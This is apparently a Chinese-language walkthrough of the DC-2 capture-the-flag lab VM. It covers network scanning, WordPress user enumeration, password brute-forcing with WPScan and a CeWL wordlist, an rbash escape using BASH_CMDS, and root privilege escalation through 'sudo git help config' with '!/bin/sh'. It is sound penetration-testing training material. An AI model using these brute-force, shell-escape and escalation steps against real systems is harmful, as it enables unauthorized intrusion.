目录
写一篇文章来记录DC靶机系列的学习过程
一、准备过程
攻击机: kali+windows11
靶机:DC-2(NAT模式)
二、信息收集
1.ip地址搜寻
┌──(root㉿kali)-[~]
└─# arp-scan -l
查看此时的靶机的MAC地址,经过对照发现靶机的ip地址为:192.168.105.160
2.端口信息搜集
┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.105.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 19:03 CST
Nmap scan report for 192.168.105.160 (192.168.105.160)
Host is up (0.00098s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:50:08:C0 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.65 seconds
得到端口信息以及操作系统信息:80(http_open)/7744(ssh_open)
这个7744端口看起来可以搞一下,竟然还是开着的
3.网页信息收集
访问80端口,当我输入:192.168.105.160:80时发现:
此时重定向到dc-2去了?
在正常的网络访问逻辑中,输入IP地址不应该自动转化为域名。这里应该是进行了一个判断重定向到dc-2,dc-2域名解析失败,但也许可以将dc-2这个域名和我们的靶机192.168.105.160:80绑定起来。
DNS绑定
hosts文件:用于存储计算机网络中主机名与IP地址映射关系,一般构成为:
127.0.0.1 localhost 表示将127.0.0.1 映射到了 localhost,访问localhost就访问到了127.0.0.1
首先找到hosts文件,一般在这个下: C:\Windows\System32\drivers\etc
然后以管理员身份用Notepad++打开hosts,补上这段:
就可以成功访问到网页了
然后进行网页信息收集
(1)利用Wappalyzer插件查看网页信息
cms为: WordPress 4.7.10
数据库为:MYSQL
然后本来可以继续用dirsearch扫一下目录的,但我先在网页中发现了flag1
flag1
- 你常用的单词列表可能不起作用,所以,也许你只需要使用 Cewl 工具。
- 密码越多越好,但有时你不可能破解所有密码。
- 以一个身份登录以查看下一个标志(线索)。
- 如果找不到,就换个身份登录。
总结一下信息:(1)需要用到Cewl工具 (2)尽可能多地得到密码(3)下一个flag2要先登录才能看到(4)也许flag2找不到是身份找错了
好的,先放这里,扫一下目录先(也许在目录中可以得到一些普通信息,但说不定这些信息就可以让我"伪装"起来)
扫到的目录有:
(1) http://dc-2/license.txt (扫到的英文直接让AI帮我看,没什么很有用的,就最后一句:WordPress 附带的任何程序二进制文件或压缩脚本的源代码,均可从以下网址免费获取:Source Code – WordPress.org)
(2)http://dc-2/readme.html (这里面也有一些信息,比如安装用的是wp-admin/install.php 配置文件 wp-config.php 更新用的是wp-admin/upgrade.php)
(3)http://dc-2/wp-admin/ (是一个登录框)
(4)http://dc-2/wp-config.php (看不到信息)
(5)http://dc-2/wp-includes (这个不得了,好多文件都在里面,稍后有机会就来看看)
剩下扫出来的就没有什么了
按照flag1给我们的提示,先去接触一下Wordpress以及Cewl
Wordpress显示是出现了几个漏洞的,大多数与插件有关,这个之后再。此外还搜到了,针对Wordpress的工具 wpscan
WPScan 是一款专门用于扫描WordPress网站漏洞的工具
字典生成工具-Cewl 可将特定URL爬取到定义的深度并返回关键字列表
三、渗透测试
1.Cewl利用
既然flag1提醒我们要尽可能多地获得密码,不妨试试Cewl来爬取关键字
┌──(root㉿kali)-[~/dc-2]
└─# cewl http://dc-2 -w passwd.txt
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
得到了一些关键字列表,现在我们去找登录框,这在我们之前的dirsearch扫目录已经扫到了
还需要账号,这里学习一下WPScan的用法
2.WPScan利用
┌──(root㉿kali)-[~/dc-2]
└─# wpscan --url http://dc-2/ -e u
# 用来枚举账户名字
最终发现了三个用户名:admin jerry tom
然后放入user.txt中
然后利用WPScan来爆破账号和密码(这里我感觉密码有些太简单了,也许以后可以尝试用一些工具生成社工字典)
┌──(root㉿kali)-[~/dc-2]
└─# wpscan --url http://dc-2/ -U users.txt -P passwd.txt
成功得到了两个账号
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
直接登录! 先试试jerry,最终在这里得到了flag2
flag2
如果你无法利用 WordPress 的漏洞来走捷径,那么还有另一种方法。
希望你能找到另一个切入点。
要么找到WordPress的捷径,要么找到另一个切入点。我第一时间想到的是也许WordPress网站本身有?毕竟已经得到WordPress的版本了。但看了很多篇师傅的文章,发现这个版本的漏洞并不显眼,用msf搜索也没相关信息,看来只能尝试找另一个切入点了
其实就是一开始信息收集的open_ssh 7744端口
3.ssh连接
尝试用jerry账号来连接ssh,但是连接不上,显示 “权限不够”
┌──(root㉿kali)-[~/dc-2]
└─# ssh jerry@192.168.105.160 -p 7744
jerry@192.168.105.160's password:
Permission denied, please try again.
但我们还有另一个账号tom, 应该就是这个了
┌──(root㉿kali)-[~/dc-2]
└─# ssh tom@192.168.105.160 -p 7744
tom@192.168.105.160's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 5 16:05:46 2025 from 192.168.105.148
tom@DC-2:~$
成功登录上,直接ls找到flag3
tom@DC-2:~$ ls
flag3.txt usr
可是这里竟然找不到 cat 和 vim 命令........查看这里可以用什么命令
compgen -c
最终找到vi,用vi读取
flag3
可怜的老tom总是追着jerry跑。也许他应该因为自己制造的所有压力而使用
su
命令。
su命令指的是切换用户身份,那就是要切换成jerry身份,tom如何切换到jerry呢?那么多命令用不了...仔细看了下tom的命令状态
tom@DC-2:~$ vim
-rbash: vim: command not found
这里显示的是rbash—— 是一种受限的bash状态,很明显我们需要绕过它,但这块我并没接触过,所以学学师傅们的做法,用到了如下命令
4.绕过rbash
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;
$ a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
$ ls
flag3.txt usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
# 这里的BASH_CMDS数组主要用于记录已经执行过的命令的完整路径
# BASH_CMDS[a]就是向该数组中添加一个元素,将其键值设置为/bin/sh,相当于多了一个a命令
# export 用于将变量导出到当前shell及其子shell环境中,被其导出的变量可以被当前shell执行的所有命令和脚本访问
# 由于此时的PATH被rbash限制了,所以需要将/bin和/usr/bin 添加到PATH中
还有很多绕过rbash的方法,稍微都了解了一下
此时就可以使用cat命令了,然后切换到jerry用户
$ su jerry
Password:
jerry@DC-2:/home/tom$
找一下flag4
jerry@DC-2:/$ find / -name 'flag4*'
最终找到在 /home/jerry/flag4.txt 下
flag4
很高兴看到你已经走到这一步了 —— 但你还没成功呢。
你仍然需要找到最终的标志(这才是唯一真正重要的标志!!!)。
这里不会再给提示了 —— 现在你得靠自己啦。 :-)
继续加油吧 —— (git)赶紧行动起来!!!
其实看到刚刚find查找的一片红的记录就知道权限仍然不够,最后的方式应该就是提权了,现在就想着法子提权,还记得做DC-1靶机的做法,用find查一下设置了setuid的进程
jerry@DC-2:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/at
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/bin/umount
/bin/mount
/bin/su
试试sudo,发现不行。提权这一块还没有系统的学习过,就看一下师傅是怎么做的了
5.提权
使用 sudo -l 来看看自己拥有哪些sudo权限
jerry@DC-2:/$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
发现是git,其实刚刚的flag4也提示了git这个关键词,然后就是使用git提权
jerry@DC-2:/$ sudo git help config
然后直接在键盘上输入 : !/bin/sh
此时就已经成功提权到root了
再找最后一个flag
final-flag.txt
# cd root
# ls
final-flag.txt
# cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
总结
(1)本来这里想做一下痕迹清除的,但看了很多日志发现并没有我们攻击机的记录(感觉很奇怪)
(2)通过DC-2靶机,学习到的知识有:WordPress WPScan Cewl 以及绕过rbash,希望我能再多掌握一些工具
(3)并且还回顾了一下痕迹清除这块
有问题的地方欢迎各位师傅提出!